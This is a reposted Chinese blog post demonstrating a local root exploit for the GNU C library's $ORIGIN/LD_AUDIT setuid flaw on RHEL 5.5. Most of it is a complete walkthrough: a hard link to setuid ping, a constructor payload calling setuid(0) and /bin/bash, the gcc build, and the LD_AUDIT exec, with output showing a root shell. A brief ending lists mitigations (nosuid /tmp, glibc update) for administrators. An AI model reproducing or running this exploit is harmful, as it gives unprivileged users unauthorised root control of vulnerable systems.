linux gcc++漏洞：普通用户获得root权限

*本内容参考自他人博客文章*

Crushlinux 已经在RHEL5.5 32上测试过

原理：The GNU C library dynamic linker expands $ORIGIN in setuid library search path

1、创建一个普通测试用户：

[root@crushlinux4 ~]# useradd test
[root@crushlinux4 ~]# passwd test
Changing password for user test.
New UNIX password:
BAD PASSWORD: it is too short
Retype new UNIX password:
passwd: all authentication tokens updated successfully.

2、切换到这个用户：

[root@crushlinux4 ~]# su - test
[test@crushlinux4 ~]$ whoami
test
[test@crushlinux4 ~]$ useradd user1
-bash: useradd: command not found

3、开始提权

[test@crushlinux4 ~]$ mkdir /tmp/exploit
[test@crushlinux4 ~]$ ln /bin/ping /tmp/exploit/target
[test@crushlinux4 ~]$ exec 3< /tmp/exploit/target
[test@crushlinux4 ~]$ ls -l /proc/$$/fd/3
lr-x------ 1 test test 64 08-07 17:43 /proc/5922/fd/3 -> /tmp/exploit/target
[test@crushlinux4 ~]$ rm -rf /tmp/exploit/
[test@crushlinux4 ~]$ ls -l /proc/$$/fd/3
lr-x------ 1 test test 64 08-07 17:43 /proc/5922/fd/3 -> /tmp/exploit/target (deleted)
[test@crushlinux4 ~]$ cat > payload.c
----------------------------------------
void __attribute__((constructor)) init()
{
    setuid(0);
    system("/bin/bash");
}
----------------------------------------
[test@crushlinux4 ~]$ cat payload.c
void __attribute__((constructor)) init()
{
    setuid(0);
    system("/bin/bash");
}
[test@crushlinux4 ~]$ gcc -w -fPIC -shared -o /tmp/exploit payload.c
[test@crushlinux4 ~]$ ls -l /tmp/exploit
-rwxrwxr-x 1 test test 4223 08-07 17:43 /tmp/exploit
[test@crushlinux4 ~]$ LD_AUDIT="$ORIGIN" exec /proc/self/fd/3
Usage: ping [-LRUbdfnqrvVaA] [-c count] [-i interval] [-w deadline]
            [-p pattern] [-s packetsize] [-t ttl] [-I interface or address]
            [-M mtu discovery hint] [-S sndbuf]
            [ -T timestamp option ] [ -Q tos ] [hop1 ...] destination

4、权限验证：

[root@crushlinux4 ~]# whoami
root
[root@crushlinux4 ~]# useradd user1
[root@crushlinux4 ~]# useradd user2
[root@crushlinux4 ~]# ls /home/
test  user1  user2
[root@crushlinux4 ~]# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)

大家看到提权后的结果了，作为运维工程师遇到这类问题，就需要提供解决方法了！

有两种解决办法：

1、绑定目录

nosuid的原理：像/etc/passwd这种文件，本来只有root用户有权限修改，但是用户本身也可以修改自己的密码（超出它本身权限的行为）nosuid可以停止这种提升特权的办法。比如/tmp目录就有这样的权限，我们就需要对它严加控制。

mount -o bind /tmp /tmp
mount -o remount,bind,nosuid /tmp /tmp

2、更新glibc版本（红帽官方推荐）

yum -y update glibc

希望看到此文章的运维同事们能够及时的更新软件及补丁。

来源：oschina

链接：https://my.oschina.net/u/4352811/blog/4318560

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gcc

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